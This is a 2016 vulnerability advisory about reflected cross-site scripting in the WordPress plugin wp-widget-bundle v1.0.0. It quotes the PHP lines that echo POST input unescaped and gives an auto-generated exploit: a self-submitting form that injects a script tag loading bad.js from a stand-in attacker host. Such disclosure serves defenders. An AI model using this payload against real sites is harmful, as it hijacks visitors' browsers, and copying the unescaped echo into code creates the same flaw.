Advisory #: 923
Title: Reflected XSS in wordpress plugin wp-widget-bundle v1.0.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-widget-bundle
Downloads: 1739
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-widget-bundle
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-widget-bundle/include/forms/wpwb-link-form.php: 29: <td><input type="text" name="wpwb_title" class="wpaw-regular-text" id="wpwb_title" value="<?php echo $_POST['wpwb_title']; ?>" /> 117: <td><input type="text" name="wpwb_data[link][link_display_nol]" id="category_title" class="wpaw-regular-text" value="<?php echo $_POST['wpwb_data']['link']['link_display_nol']; ?>" /> The variable wpwb_title appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-widget-bundle/include/forms/wpwb-link-form.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-widget-bundle/include/forms/wpwb-link-form.php method=post> <input type=hidden name=wpwb_title value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>